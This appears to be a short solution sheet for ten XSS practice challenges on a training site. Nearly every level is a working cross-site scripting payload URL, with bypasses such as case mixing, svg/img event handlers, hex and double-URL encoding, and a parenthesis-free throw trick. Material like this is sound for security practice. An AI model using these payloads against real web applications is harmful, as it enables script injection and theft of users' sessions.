kovltsx/.rst

## .rst

      
    Raw
  

              .rst
            
          
    XSS Challenges from zixem.altervista.org

Level 1

http://www.zixem.altervista.org/XSS/1.php?name=<script>alert(1337)</script>
Level 2

http://www.zixem.altervista.org/XSS/2.php?name=<ScRIpt>alert(1337)</SCript>
Level 3

Escaping %0A (n)
http://zixem.altervista.org/XSS/3.php?name=%0a<svg/onload="alert(1337)">
Level 4

` <img src='htp.pngd'onerror=alert(1337) ' /> `http://zixem.altervista.org/XSS/4.php?img=htp.pngd'onerror=alert(1337)%20
Level 5

` <form action="javascript:alert(1337)" method='get'> `http://zixem.altervista.org/XSS/5.php?name=x&action=javascript:alert(1337)
Level 6

Hex Encoding
`node new Buffer.from('<').toString('hex')`
http://zixem.altervista.org/XSS/6.php?name=zxmx3csvg/onload=alert(1337)x3e
Level 7

Double URL Encoding (<>)
`node encodeURIComponent(encodeURIComponent('<>'))`
http://zixem.altervista.org/XSS/7.php?name=zxm%253csvg/onload=alert(1337)%253e
Level 8

``
Level 9

http://zixem.altervista.org/XSS/9.php?name=zxm<SVg/onload=confirm(1337)>
Level 10

Filtered (

http://zixem.altervista.org/XSS/10.php?name=zxm');onerror=alert;throw 1337;//
http://zixem.altervista.org/XSS/10.php?name=zxm');onerror=confirm`1337`;//